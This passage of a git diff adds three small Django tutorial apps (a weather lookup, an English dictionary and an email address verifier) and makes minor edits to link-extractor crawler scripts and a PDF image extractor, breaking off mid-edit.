b/web-programming/django-weather-app/weatherupdates/templates/weatherupdates/404.html new file mode 100644 index 00000000..5016ee26 --- /dev/null +++ b/web-programming/django-weather-app/weatherupdates/templates/weatherupdates/404.html @@ -0,0 +1,15 @@ + +{% extends 'weatherupdates/base.html' %} + + +{% block content %} + +
+
+

Page Not Found

+

Make sure you are connected to the internet or you are entering a valid city name

+ Go Home +
+
+ +{% endblock %} \ No newline at end of file diff --git a/web-programming/django-weather-app/weatherupdates/templates/weatherupdates/base.html b/web-programming/django-weather-app/weatherupdates/templates/weatherupdates/base.html new file mode 100644 index 00000000..877e80ec --- /dev/null +++ b/web-programming/django-weather-app/weatherupdates/templates/weatherupdates/base.html @@ -0,0 +1,16 @@ + + + + + + + Weather Updates App + + + + + {% block content %} + + {% endblock %} + + \ No newline at end of file diff --git a/web-programming/django-weather-app/weatherupdates/templates/weatherupdates/home.html b/web-programming/django-weather-app/weatherupdates/templates/weatherupdates/home.html new file mode 100644 index 00000000..41f4a689 --- /dev/null +++ b/web-programming/django-weather-app/weatherupdates/templates/weatherupdates/home.html @@ -0,0 +1,42 @@ + +{% extends 'weatherupdates/base.html' %} + + +{% block content %} + +
+
+ +
+

Weather Update App

+
+ +
+ + {% csrf_token %} +
+ +
+ +
+
+
+
+
+
+ +
{{ city_weather_update.time }}
+
{{ city_weather_update.city }} {{ city_weather_update.country_code }}
+
{{ city_weather_update.temperature }}
+
{{ city_weather_update.description | title }}
+
{{ city_weather_update.wind }}
+
{{ city_weather_update.humidity }}
+
+
+ +
+
+ +{% endblock %} \ No newline at end of file diff --git a/web-programming/django-weather-app/weatherupdates/tests.py b/web-programming/django-weather-app/weatherupdates/tests.py new file mode 100644 index 00000000..7ce503c2 --- /dev/null +++ b/web-programming/django-weather-app/weatherupdates/tests.py @@ -0,0 +1,3 @@ +from django.test import TestCase + +# Create your tests here. diff --git a/web-programming/django-weather-app/weatherupdates/urls.py b/web-programming/django-weather-app/weatherupdates/urls.py new file mode 100644 index 00000000..b16dfde4 --- /dev/null +++ b/web-programming/django-weather-app/weatherupdates/urls.py @@ -0,0 +1,9 @@ +# here we are import path from in-built django-urls +from django.urls import path + +# here we are importing all the Views from the views.py file +from . import views + +urlpatterns = [ + path('', views.index, name='home'), +] \ No newline at end of file diff --git a/web-programming/django-weather-app/weatherupdates/views.py b/web-programming/django-weather-app/weatherupdates/views.py new file mode 100644 index 00000000..e595a559 --- /dev/null +++ b/web-programming/django-weather-app/weatherupdates/views.py @@ -0,0 +1,42 @@ +from django.shortcuts import render +import requests +from datetime import datetime + +# the index() will handle all the app's logic +def index(request): + # if there are no errors the code inside try will execute + try: + # checking if the method is POST + if request.method == 'POST': + API_KEY = 'put your API key here' + # getting the city name from the form input + city_name = request.POST.get('city') + # the url for current weather, takes city_name and API_KEY + url = f'https://api.openweathermap.org/data/2.5/weather?q={city_name}&appid={API_KEY}&units=metric' + # converting the request response to json + response = requests.get(url).json() + # getting the current time + current_time = datetime.now() + # formatting the time using directives, it will take this format Day, Month Date Year, Current Time + formatted_time = current_time.strftime("%A, %B %d %Y, %H:%M:%S %p") + # bundling the weather information in one dictionary + city_weather_update = { + 'city': city_name, + 'description': response['weather'][0]['description'], + 'icon': response['weather'][0]['icon'], + 'temperature': 'Temperature: ' + str(response['main']['temp']) + ' °C', + 'country_code': response['sys']['country'], + 'wind': 'Wind: ' + str(response['wind']['speed']) + 'km/h', + 'humidity': 'Humidity: ' + str(response['main']['humidity']) + '%', + 'time': formatted_time + } + # if the request method is GET empty the dictionary + else: + city_weather_update = {} + context = {'city_weather_update': city_weather_update} + return render(request, 'weatherupdates/home.html', context) + # if there is an error the 404 page will be rendered + # the except will catch all the errors + except: + return render(request, 'weatherupdates/404.html') + diff --git a/web-programming/djangodictionary/README.md b/web-programming/djangodictionary/README.md new file mode 100644 index 00000000..a6f28505 --- /dev/null +++ b/web-programming/djangodictionary/README.md @@ -0,0 +1 @@ +# [How to Build an English Dictionary App with Django in Python](https://www.thepythoncode.com/article/build-dictionary-app-with-django-and-pydictionary-api-python) \ No newline at end of file diff --git a/web-programming/djangodictionary/dictionary/__init__.py b/web-programming/djangodictionary/dictionary/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/djangodictionary/dictionary/admin.py b/web-programming/djangodictionary/dictionary/admin.py new file mode 100644 index 00000000..8c38f3f3 --- /dev/null +++ b/web-programming/djangodictionary/dictionary/admin.py @@ -0,0 +1,3 @@ +from django.contrib import admin + +# Register your models here. diff --git a/web-programming/djangodictionary/dictionary/apps.py b/web-programming/djangodictionary/dictionary/apps.py new file mode 100644 index 00000000..14615160 --- /dev/null +++ b/web-programming/djangodictionary/dictionary/apps.py @@ -0,0 +1,6 @@ +from django.apps import AppConfig + + +class DictionaryConfig(AppConfig): + default_auto_field = 'django.db.models.BigAutoField' + name = 'dictionary' diff --git a/web-programming/djangodictionary/dictionary/migrations/__init__.py b/web-programming/djangodictionary/dictionary/migrations/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/djangodictionary/dictionary/migrations/__pycache__/__init__.cpython-310.pyc b/web-programming/djangodictionary/dictionary/migrations/__pycache__/__init__.cpython-310.pyc new file mode 100644 index 00000000..578e53e3 Binary files /dev/null and b/web-programming/djangodictionary/dictionary/migrations/__pycache__/__init__.cpython-310.pyc differ diff --git a/web-programming/djangodictionary/dictionary/migrations/__pycache__/__init__.cpython-39.pyc b/web-programming/djangodictionary/dictionary/migrations/__pycache__/__init__.cpython-39.pyc new file mode 100644 index 00000000..46091a0d Binary files /dev/null and b/web-programming/djangodictionary/dictionary/migrations/__pycache__/__init__.cpython-39.pyc differ diff --git a/web-programming/djangodictionary/dictionary/models.py b/web-programming/djangodictionary/dictionary/models.py new file mode 100644 index 00000000..71a83623 --- /dev/null +++ b/web-programming/djangodictionary/dictionary/models.py @@ -0,0 +1,3 @@ +from django.db import models + +# Create your models here. diff --git a/web-programming/djangodictionary/dictionary/templates/dictionary/base.html b/web-programming/djangodictionary/dictionary/templates/dictionary/base.html new file mode 100644 index 00000000..43b432e4 --- /dev/null +++ b/web-programming/djangodictionary/dictionary/templates/dictionary/base.html @@ -0,0 +1,32 @@ + + + + + + + + Dictionary + + + + + + +
+
+ +
+

ThePythonCode.com Dictionary

+
+ +
+ {% block content %} + + {% endblock %} +
+
+
+ + + \ No newline at end of file diff --git a/web-programming/djangodictionary/dictionary/templates/dictionary/index.html b/web-programming/djangodictionary/dictionary/templates/dictionary/index.html new file mode 100644 index 00000000..627e5d8e --- /dev/null +++ b/web-programming/djangodictionary/dictionary/templates/dictionary/index.html @@ -0,0 +1,20 @@ + + +{% extends 'dictionary/base.html' %} + + +{% block content %} + +
+
+ +
+ +
+
+ +
+ +{% endblock %} \ No newline at end of file diff --git a/web-programming/djangodictionary/dictionary/templates/dictionary/search.html b/web-programming/djangodictionary/dictionary/templates/dictionary/search.html new file mode 100644 index 00000000..4839694c --- /dev/null +++ b/web-programming/djangodictionary/dictionary/templates/dictionary/search.html @@ -0,0 +1,25 @@ + +{% extends 'dictionary/base.html' %} + +{% block content %} + +

{{ word }}

+ +
+ {% csrf_token %} + + +
+ +

{{ meanings }}

+ +
+ +

Antonyms:{{ antonym }}

+
+ +

Synonyms:{{ synonym }}

+ +{% endblock %} \ No newline at end of file diff --git a/web-programming/djangodictionary/dictionary/tests.py b/web-programming/djangodictionary/dictionary/tests.py new file mode 100644 index 00000000..7ce503c2 --- /dev/null +++ b/web-programming/djangodictionary/dictionary/tests.py @@ -0,0 +1,3 @@ +from django.test import TestCase + +# Create your tests here. diff --git a/web-programming/djangodictionary/dictionary/urls.py b/web-programming/djangodictionary/dictionary/urls.py new file mode 100644 index 00000000..b57dd991 --- /dev/null +++ b/web-programming/djangodictionary/dictionary/urls.py @@ -0,0 +1,10 @@ +# from current folder, we are importing the two views, HomeView & SearchView +from . import views +# importing path from django's in-built urls +from django.urls import path + +# defining the list for urls +urlpatterns = [ + path('', views.homeView, name='home'),#this is the home url + path('search', views.searchView, name='search'),#this is the search url +] \ No newline at end of file diff --git a/web-programming/djangodictionary/dictionary/views.py b/web-programming/djangodictionary/dictionary/views.py new file mode 100644 index 00000000..e2fe9fe2 --- /dev/null +++ b/web-programming/djangodictionary/dictionary/views.py @@ -0,0 +1,35 @@ +# importing the render function from django.shortcuts +# the render function renders templates +from django.shortcuts import render +# importing the PyDictionary library +from PyDictionary import PyDictionary + +import pyttsx3 + + +# this is the view that will render the index page +def homeView(request): + return render(request, 'dictionary/index.html') + + +# this is the view that will render search page +def searchView(request): + # capturing the word from the form via the name search + word = request.GET.get('search') + # creating a dictionary object + dictionary = PyDictionary() + # passing a word to the dictionary object + meanings = dictionary.meaning(word) + # getting a synonym and antonym + synonyms = dictionary.synonym(word) + antonyms = dictionary.antonym(word) + # bundling all the variables in the context + context = { + 'word': word, + 'meanings':meanings, + 'synonyms':synonyms, + 'antonoyms':antonyms + } + return render(request, 'dictionary/search.html', context) + + diff --git a/web-programming/djangodictionary/djangodictionary/__init__.py b/web-programming/djangodictionary/djangodictionary/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/djangodictionary/djangodictionary/asgi.py b/web-programming/djangodictionary/djangodictionary/asgi.py new file mode 100644 index 00000000..5e8be0b1 --- /dev/null +++ b/web-programming/djangodictionary/djangodictionary/asgi.py @@ -0,0 +1,16 @@ +""" +ASGI config for djangodictionary project. + +It exposes the ASGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.0/howto/deployment/asgi/ +""" + +import os + +from django.core.asgi import get_asgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'djangodictionary.settings') + +application = get_asgi_application() diff --git a/web-programming/djangodictionary/djangodictionary/settings.py b/web-programming/djangodictionary/djangodictionary/settings.py new file mode 100644 index 00000000..e59dd335 --- /dev/null +++ b/web-programming/djangodictionary/djangodictionary/settings.py @@ -0,0 +1,126 @@ +""" +Django settings for djangodictionary project. + +Generated by 'django-admin startproject' using Django 4.0.4. + +For more information on this file, see +https://docs.djangoproject.com/en/4.0/topics/settings/ + +For the full list of settings and their values, see +https://docs.djangoproject.com/en/4.0/ref/settings/ +""" + +from pathlib import Path + +# Build paths inside the project like this: BASE_DIR / 'subdir'. +BASE_DIR = Path(__file__).resolve().parent.parent + + +# Quick-start development settings - unsuitable for production +# See https://docs.djangoproject.com/en/4.0/howto/deployment/checklist/ + +# SECURITY WARNING: keep the secret key used in production secret! +SECRET_KEY = 'django-insecure-ukc=wh953&q0x-s!b2i28^nh!)3r#^28(ougohz)yruya)))^d' + +# SECURITY WARNING: don't run with debug turned on in production! +DEBUG = True + +ALLOWED_HOSTS = [] + + +# Application definition + +INSTALLED_APPS = [ + 'django.contrib.admin', + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.messages', + 'django.contrib.staticfiles', + # external installed app + # registering the dictionary app + 'dictionary', +] + +MIDDLEWARE = [ + 'django.middleware.security.SecurityMiddleware', + 'django.contrib.sessions.middleware.SessionMiddleware', + 'django.middleware.common.CommonMiddleware', + 'django.middleware.csrf.CsrfViewMiddleware', + 'django.contrib.auth.middleware.AuthenticationMiddleware', + 'django.contrib.messages.middleware.MessageMiddleware', + 'django.middleware.clickjacking.XFrameOptionsMiddleware', +] + +ROOT_URLCONF = 'djangodictionary.urls' + +TEMPLATES = [ + { + 'BACKEND': 'django.template.backends.django.DjangoTemplates', + 'DIRS': [], + 'APP_DIRS': True, + 'OPTIONS': { + 'context_processors': [ + 'django.template.context_processors.debug', + 'django.template.context_processors.request', + 'django.contrib.auth.context_processors.auth', + 'django.contrib.messages.context_processors.messages', + ], + }, + }, +] + +WSGI_APPLICATION = 'djangodictionary.wsgi.application' + + +# Database +# https://docs.djangoproject.com/en/4.0/ref/settings/#databases + +DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + 'NAME': BASE_DIR / 'db.sqlite3', + } +} + + +# Password validation +# https://docs.djangoproject.com/en/4.0/ref/settings/#auth-password-validators + +AUTH_PASSWORD_VALIDATORS = [ + { + 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', + }, +] + + +# Internationalization +# https://docs.djangoproject.com/en/4.0/topics/i18n/ + +LANGUAGE_CODE = 'en-us' + +TIME_ZONE = 'UTC' + +USE_I18N = True + +USE_TZ = True + + +# Static files (CSS, JavaScript, Images) +# https://docs.djangoproject.com/en/4.0/howto/static-files/ + +STATIC_URL = 'static/' + +# Default primary key field type +# https://docs.djangoproject.com/en/4.0/ref/settings/#default-auto-field + +DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField' diff --git a/web-programming/djangodictionary/djangodictionary/urls.py b/web-programming/djangodictionary/djangodictionary/urls.py new file mode 100644 index 00000000..cbbf5c33 --- /dev/null +++ b/web-programming/djangodictionary/djangodictionary/urls.py @@ -0,0 +1,26 @@ +"""djangodictionary URL Configuration + +The `urlpatterns` list routes URLs to views. For more information please see: + https://docs.djangoproject.com/en/4.0/topics/http/urls/ +Examples: +Function views + 1. Add an import: from my_app import views + 2. Add a URL to urlpatterns: path('', views.home, name='home') +Class-based views + 1. Add an import: from other_app.views import Home + 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') +Including another URLconf + 1. Import the include() function: from django.urls import include, path + 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) +""" +# importing the django's in-built admin url +from django.contrib import admin +# importing path and include from django's in-built urls +from django.urls import path, include + +# defining the list for urls +urlpatterns = [ + path('admin/', admin.site.urls), + # registering dictionary app urls in project + path('', include('dictionary.urls')), +] diff --git a/web-programming/djangodictionary/djangodictionary/wsgi.py b/web-programming/djangodictionary/djangodictionary/wsgi.py new file mode 100644 index 00000000..a2c9dc54 --- /dev/null +++ b/web-programming/djangodictionary/djangodictionary/wsgi.py @@ -0,0 +1,16 @@ +""" +WSGI config for djangodictionary project. + +It exposes the WSGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.0/howto/deployment/wsgi/ +""" + +import os + +from django.core.wsgi import get_wsgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'djangodictionary.settings') + +application = get_wsgi_application() diff --git a/web-programming/djangodictionary/manage.py b/web-programming/djangodictionary/manage.py new file mode 100644 index 00000000..c9a00da4 --- /dev/null +++ b/web-programming/djangodictionary/manage.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +"""Django's command-line utility for administrative tasks.""" +import os +import sys + + +def main(): + """Run administrative tasks.""" + os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'djangodictionary.settings') + try: + from django.core.management import execute_from_command_line + except ImportError as exc: + raise ImportError( + "Couldn't import Django. Are you sure it's installed and " + "available on your PYTHONPATH environment variable? Did you " + "forget to activate a virtual environment?" + ) from exc + execute_from_command_line(sys.argv) + + +if __name__ == '__main__': + main() diff --git a/web-programming/djangodictionary/requirements.txt b/web-programming/djangodictionary/requirements.txt new file mode 100644 index 00000000..90536003 --- /dev/null +++ b/web-programming/djangodictionary/requirements.txt @@ -0,0 +1,2 @@ +django +PyDictionary \ No newline at end of file diff --git a/web-programming/webbased-emailverifier/README.md b/web-programming/webbased-emailverifier/README.md new file mode 100644 index 00000000..4cd52db4 --- /dev/null +++ b/web-programming/webbased-emailverifier/README.md @@ -0,0 +1 @@ +# [How to Build an Email Address Verifier App using Django in Python](https://www.thepythoncode.com/article/build-an-email-verifier-app-using-django-in-python) \ No newline at end of file diff --git a/web-programming/webbased-emailverifier/db.sqlite3 b/web-programming/webbased-emailverifier/db.sqlite3 new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/webbased-emailverifier/manage.py b/web-programming/webbased-emailverifier/manage.py new file mode 100644 index 00000000..4489d1c8 --- /dev/null +++ b/web-programming/webbased-emailverifier/manage.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +"""Django's command-line utility for administrative tasks.""" +import os +import sys + + +def main(): + """Run administrative tasks.""" + os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'webbased_emailverifier.settings') + try: + from django.core.management import execute_from_command_line + except ImportError as exc: + raise ImportError( + "Couldn't import Django. Are you sure it's installed and " + "available on your PYTHONPATH environment variable? Did you " + "forget to activate a virtual environment?" + ) from exc + execute_from_command_line(sys.argv) + + +if __name__ == '__main__': + main() diff --git a/web-programming/webbased-emailverifier/requirements.txt b/web-programming/webbased-emailverifier/requirements.txt new file mode 100644 index 00000000..687b6fab --- /dev/null +++ b/web-programming/webbased-emailverifier/requirements.txt @@ -0,0 +1,2 @@ +django +email-validator \ No newline at end of file diff --git a/web-programming/webbased-emailverifier/toto.todo b/web-programming/webbased-emailverifier/toto.todo new file mode 100644 index 00000000..f74825a7 --- /dev/null +++ b/web-programming/webbased-emailverifier/toto.todo @@ -0,0 +1,7 @@ +$ python -m venv project +$ .\project\Scripts\activate +$ pip install -r requirements.txt +$ django-admin startproject webbased_emailverifier +$ cd webbased_emailverifier\ +$ python manage.py startapp verifier +$ python manage.py runserver \ No newline at end of file diff --git a/web-programming/webbased-emailverifier/verifier/__init__.py b/web-programming/webbased-emailverifier/verifier/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/webbased-emailverifier/verifier/admin.py b/web-programming/webbased-emailverifier/verifier/admin.py new file mode 100644 index 00000000..8c38f3f3 --- /dev/null +++ b/web-programming/webbased-emailverifier/verifier/admin.py @@ -0,0 +1,3 @@ +from django.contrib import admin + +# Register your models here. diff --git a/web-programming/webbased-emailverifier/verifier/apps.py b/web-programming/webbased-emailverifier/verifier/apps.py new file mode 100644 index 00000000..5ce3ad25 --- /dev/null +++ b/web-programming/webbased-emailverifier/verifier/apps.py @@ -0,0 +1,6 @@ +from django.apps import AppConfig + + +class VerifierConfig(AppConfig): + default_auto_field = 'django.db.models.BigAutoField' + name = 'verifier' diff --git a/web-programming/webbased-emailverifier/verifier/migrations/__init__.py b/web-programming/webbased-emailverifier/verifier/migrations/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/webbased-emailverifier/verifier/migrations/__pycache__/__init__.cpython-310.pyc b/web-programming/webbased-emailverifier/verifier/migrations/__pycache__/__init__.cpython-310.pyc new file mode 100644 index 00000000..efbe0e8a Binary files /dev/null and b/web-programming/webbased-emailverifier/verifier/migrations/__pycache__/__init__.cpython-310.pyc differ diff --git a/web-programming/webbased-emailverifier/verifier/migrations/__pycache__/__init__.cpython-39.pyc b/web-programming/webbased-emailverifier/verifier/migrations/__pycache__/__init__.cpython-39.pyc new file mode 100644 index 00000000..7748246b Binary files /dev/null and b/web-programming/webbased-emailverifier/verifier/migrations/__pycache__/__init__.cpython-39.pyc differ diff --git a/web-programming/webbased-emailverifier/verifier/models.py b/web-programming/webbased-emailverifier/verifier/models.py new file mode 100644 index 00000000..71a83623 --- /dev/null +++ b/web-programming/webbased-emailverifier/verifier/models.py @@ -0,0 +1,3 @@ +from django.db import models + +# Create your models here. diff --git a/web-programming/webbased-emailverifier/verifier/templates/verifier/base.html b/web-programming/webbased-emailverifier/verifier/templates/verifier/base.html new file mode 100644 index 00000000..47eb163d --- /dev/null +++ b/web-programming/webbased-emailverifier/verifier/templates/verifier/base.html @@ -0,0 +1,19 @@ + + + + + + + Web-based Email Verifier + + + + + {% block content %} + + {% endblock %} + + + + + \ No newline at end of file diff --git a/web-programming/webbased-emailverifier/verifier/templates/verifier/index.html b/web-programming/webbased-emailverifier/verifier/templates/verifier/index.html new file mode 100644 index 00000000..11357db6 --- /dev/null +++ b/web-programming/webbased-emailverifier/verifier/templates/verifier/index.html @@ -0,0 +1,59 @@ + +{% extends 'verifier/base.html' %} + + + +{% block content %} +
+ +
+ +
+

Email Verifier

+ +
+ +
+ {% csrf_token %} +
+ +
+ +
+
+
+ +
+ + {% if messages %} + {% for message in messages %} + {% if message.tags == 'success' %} + + {% elif message.tags == 'warning' %} + + {% endif %} + {% endfor %} + {% endif %} + +
+ +
+ +
+ +
+ +{% endblock %} \ No newline at end of file diff --git a/web-programming/webbased-emailverifier/verifier/tests.py b/web-programming/webbased-emailverifier/verifier/tests.py new file mode 100644 index 00000000..7ce503c2 --- /dev/null +++ b/web-programming/webbased-emailverifier/verifier/tests.py @@ -0,0 +1,3 @@ +from django.test import TestCase + +# Create your tests here. diff --git a/web-programming/webbased-emailverifier/verifier/urls.py b/web-programming/webbased-emailverifier/verifier/urls.py new file mode 100644 index 00000000..a2238180 --- /dev/null +++ b/web-programming/webbased-emailverifier/verifier/urls.py @@ -0,0 +1,10 @@ +# from the current folder import views +from . import views +# importing path from django.urls +from django.urls import path + +# this is the list of the app's views +# if the app has several views then it will have several paths +urlpatterns = [ + path('', views.index, name='home'), +] \ No newline at end of file diff --git a/web-programming/webbased-emailverifier/verifier/views.py b/web-programming/webbased-emailverifier/verifier/views.py new file mode 100644 index 00000000..0008e70b --- /dev/null +++ b/web-programming/webbased-emailverifier/verifier/views.py @@ -0,0 +1,34 @@ +from django.shortcuts import render +# this displays flash messages or notifications +from django.contrib import messages +# importing validate_email and EmailNotValidError +from email_validator import validate_email, EmailNotValidError + + +# Create your views here. +def index(request): + # checking if the method is POST + if request.method == 'POST': + # getting the email from the form input + email = request.POST.get('email-address') + # this is the context + context = { + 'email': email + } + # the try statement for verify/validating the email + try: + # validating the actual email address using the validate_email function + email_object = validate_email(email) + # creating the message and storing it + messages.success(request, f'{email} is a valid email address!!') + # rendering the results to the index page + return render(request, 'verifier/index.html', context) + # the except statement will capture EmailNotValidError error + except EmailNotValidError as e: + # creating the message and storing it + messages.warning(request, f'{e}') + # rendering the error to the index page + return render(request, 'verifier/index.html', context) + + # this will render when there is no request POST or after every POST request + return render(request, 'verifier/index.html') diff --git a/web-programming/webbased-emailverifier/webbased_emailverifier/__init__.py b/web-programming/webbased-emailverifier/webbased_emailverifier/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/webbased-emailverifier/webbased_emailverifier/asgi.py b/web-programming/webbased-emailverifier/webbased_emailverifier/asgi.py new file mode 100644 index 00000000..cc5e655c --- /dev/null +++ b/web-programming/webbased-emailverifier/webbased_emailverifier/asgi.py @@ -0,0 +1,16 @@ +""" +ASGI config for webbased_emailverifier project. + +It exposes the ASGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/howto/deployment/asgi/ +""" + +import os + +from django.core.asgi import get_asgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'webbased_emailverifier.settings') + +application = get_asgi_application() diff --git a/web-programming/webbased-emailverifier/webbased_emailverifier/settings.py b/web-programming/webbased-emailverifier/webbased_emailverifier/settings.py new file mode 100644 index 00000000..8b7a4f80 --- /dev/null +++ b/web-programming/webbased-emailverifier/webbased_emailverifier/settings.py @@ -0,0 +1,124 @@ +""" +Django settings for webbased_emailverifier project. + +Generated by 'django-admin startproject' using Django 4.1.2. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/topics/settings/ + +For the full list of settings and their values, see +https://docs.djangoproject.com/en/4.1/ref/settings/ +""" + +from pathlib import Path + +# Build paths inside the project like this: BASE_DIR / 'subdir'. +BASE_DIR = Path(__file__).resolve().parent.parent + + +# Quick-start development settings - unsuitable for production +# See https://docs.djangoproject.com/en/4.1/howto/deployment/checklist/ + +# SECURITY WARNING: keep the secret key used in production secret! +SECRET_KEY = 'django-insecure-!whsb9fn*)d)zj(o78=y8y6=7^uh09!w&(_zfdo%wq$m%27+8h' + +# SECURITY WARNING: don't run with debug turned on in production! +DEBUG = True + +ALLOWED_HOSTS = [] + + +# Application definition +INSTALLED_APPS = [ + 'django.contrib.admin', + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.messages', + 'django.contrib.staticfiles', + # the newly created application + 'verifier', +] + +MIDDLEWARE = [ + 'django.middleware.security.SecurityMiddleware', + 'django.contrib.sessions.middleware.SessionMiddleware', + 'django.middleware.common.CommonMiddleware', + 'django.middleware.csrf.CsrfViewMiddleware', + 'django.contrib.auth.middleware.AuthenticationMiddleware', + 'django.contrib.messages.middleware.MessageMiddleware', + 'django.middleware.clickjacking.XFrameOptionsMiddleware', +] + +ROOT_URLCONF = 'webbased_emailverifier.urls' + +TEMPLATES = [ + { + 'BACKEND': 'django.template.backends.django.DjangoTemplates', + 'DIRS': [], + 'APP_DIRS': True, + 'OPTIONS': { + 'context_processors': [ + 'django.template.context_processors.debug', + 'django.template.context_processors.request', + 'django.contrib.auth.context_processors.auth', + 'django.contrib.messages.context_processors.messages', + ], + }, + }, +] + +WSGI_APPLICATION = 'webbased_emailverifier.wsgi.application' + + +# Database +# https://docs.djangoproject.com/en/4.1/ref/settings/#databases + +DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + 'NAME': BASE_DIR / 'db.sqlite3', + } +} + + +# Password validation +# https://docs.djangoproject.com/en/4.1/ref/settings/#auth-password-validators + +AUTH_PASSWORD_VALIDATORS = [ + { + 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', + }, +] + + +# Internationalization +# https://docs.djangoproject.com/en/4.1/topics/i18n/ + +LANGUAGE_CODE = 'en-us' + +TIME_ZONE = 'UTC' + +USE_I18N = True + +USE_TZ = True + + +# Static files (CSS, JavaScript, Images) +# https://docs.djangoproject.com/en/4.1/howto/static-files/ + +STATIC_URL = 'static/' + +# Default primary key field type +# https://docs.djangoproject.com/en/4.1/ref/settings/#default-auto-field + +DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField' diff --git a/web-programming/webbased-emailverifier/webbased_emailverifier/urls.py b/web-programming/webbased-emailverifier/webbased_emailverifier/urls.py new file mode 100644 index 00000000..70046359 --- /dev/null +++ b/web-programming/webbased-emailverifier/webbased_emailverifier/urls.py @@ -0,0 +1,10 @@ + +from django.contrib import admin +from django.urls import path, include + +urlpatterns = [ + # this points to admin.site urls + path('admin/', admin.site.urls), + # this points to verifier urls + path('', include('verifier.urls')), +] diff --git a/web-programming/webbased-emailverifier/webbased_emailverifier/wsgi.py b/web-programming/webbased-emailverifier/webbased_emailverifier/wsgi.py new file mode 100644 index 00000000..f837b888 --- /dev/null +++ b/web-programming/webbased-emailverifier/webbased_emailverifier/wsgi.py @@ -0,0 +1,16 @@ +""" +WSGI config for webbased_emailverifier project. + +It exposes the WSGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/howto/deployment/wsgi/ +""" + +import os + +from django.core.wsgi import get_wsgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'webbased_emailverifier.settings') + +application = get_wsgi_application() diff --git a/web-scraping/link-extractor/link_extractor.py b/web-scraping/link-extractor/link_extractor.py index 8d070e32..ca48e934 100644 --- a/web-scraping/link-extractor/link_extractor.py +++ b/web-scraping/link-extractor/link_extractor.py @@ -32,8 +32,6 @@ def get_all_website_links(url): """ # all URLs of `url` urls = set() - # domain name of the URL without the protocol - domain_name = urlparse(url).netloc soup = BeautifulSoup(requests.get(url).content, "html.parser") for a_tag in soup.findAll("a"): href = a_tag.attrs.get("href") @@ -89,7 +87,8 @@ def crawl(url, max_urls=30): args = parser.parse_args() url = args.url max_urls = args.max_urls - + # domain name of the URL without the protocol + domain_name = urlparse(url).netloc crawl(url, max_urls=max_urls) print("[+] Total Internal links:", len(internal_urls)) @@ -97,8 +96,6 @@ def crawl(url, max_urls=30): print("[+] Total URLs:", len(external_urls) + len(internal_urls)) print("[+] Total crawled URLs:", max_urls) - domain_name = urlparse(url).netloc - # save the internal links to a file with open(f"{domain_name}_internal_links.txt", "w") as f: for internal_link in internal_urls: diff --git a/web-scraping/link-extractor/link_extractor_js.py b/web-scraping/link-extractor/link_extractor_js.py index 9647985d..f84d74ec 100644 --- a/web-scraping/link-extractor/link_extractor_js.py +++ b/web-scraping/link-extractor/link_extractor_js.py @@ -32,8 +32,6 @@ def get_all_website_links(url): """ # all URLs of `url` urls = set() - # domain name of the URL without the protocol - domain_name = urlparse(url).netloc # initialize an HTTP session session = HTMLSession() # make HTTP request & retrieve response @@ -98,7 +96,7 @@ def crawl(url, max_urls=30): args = parser.parse_args() url = args.url max_urls = args.max_urls - + domain_name = urlparse(url).netloc crawl(url, max_urls=max_urls) print("[+] Total Internal links:", len(internal_urls)) @@ -106,7 +104,6 @@ def crawl(url, max_urls=30): print("[+] Total URLs:", len(external_urls) + len(internal_urls)) print("[+] Total crawled URLs:", max_urls) - domain_name = urlparse(url).netloc # save the internal links to a file with open(f"{domain_name}_internal_links.txt", "w") as f: diff --git a/web-scraping/link-extractor/requirements.txt b/web-scraping/link-extractor/requirements.txt index 20355cca..824ab624 100644 --- a/web-scraping/link-extractor/requirements.txt +++ b/web-scraping/link-extractor/requirements.txt @@ -1,3 +1,4 @@ requests bs4 -colorama \ No newline at end of file +colorama +requests_html diff --git a/web-scraping/pdf-image-extractor/pdf_image_extractor.py b/web-scraping/pdf-image-extractor/pdf_image_extractor.py index 702ef7dd..8f4b1129 100644 --- a/web-scraping/pdf-image-extractor/pdf_image_extractor.py +++ b/web-scraping/pdf-image-extractor/pdf_image_extractor.py @@ -10,17 +10,18 @@ for page_index in range(len(pdf_file)): # get the page itself page = pdf_file[page_index] - image_list = page.getImageList() + # get image list + image_list = 